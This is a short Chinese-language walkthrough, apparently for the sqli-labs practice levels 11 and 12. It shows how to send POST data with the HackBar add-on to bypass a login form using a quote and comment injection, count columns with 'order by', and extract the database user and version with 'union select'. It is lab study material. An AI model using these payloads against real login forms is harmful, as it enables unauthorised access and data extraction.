先判断注入类型
用火狐下载个插件hackbar
然后 post data那边输入 uname=admin（这个后面输入一个符号之类的判断注入类型）#&passwd=admin&submit=Submit （十二关是双引号 就加上“））
这关的就有提示单引号注入 那么uname=admin’ #&passwd=admin&submit=Submit 输入这段
登陆成功 然后uname=admin’ order by 2（这个数字可以慢慢试看到多少的时候显示登陆错误）#&passwd=admin&submit=Submit 这个是用来的出显示位数的
接下来使用联合查询语句 union select 来进行爆破，使用union select的时候要注意，输入的unname必须是一个不存在的，，否则将会输出不出来
uname=aaa’ union select 1,2#&passwd=admin&submit=Submit 比如这样子
uname=aaa’ union select user(),version() #&passwd=admin&submit=Submit这句爆出使用者和数据库版本
之后操作就和第一关是一样的都是那些语句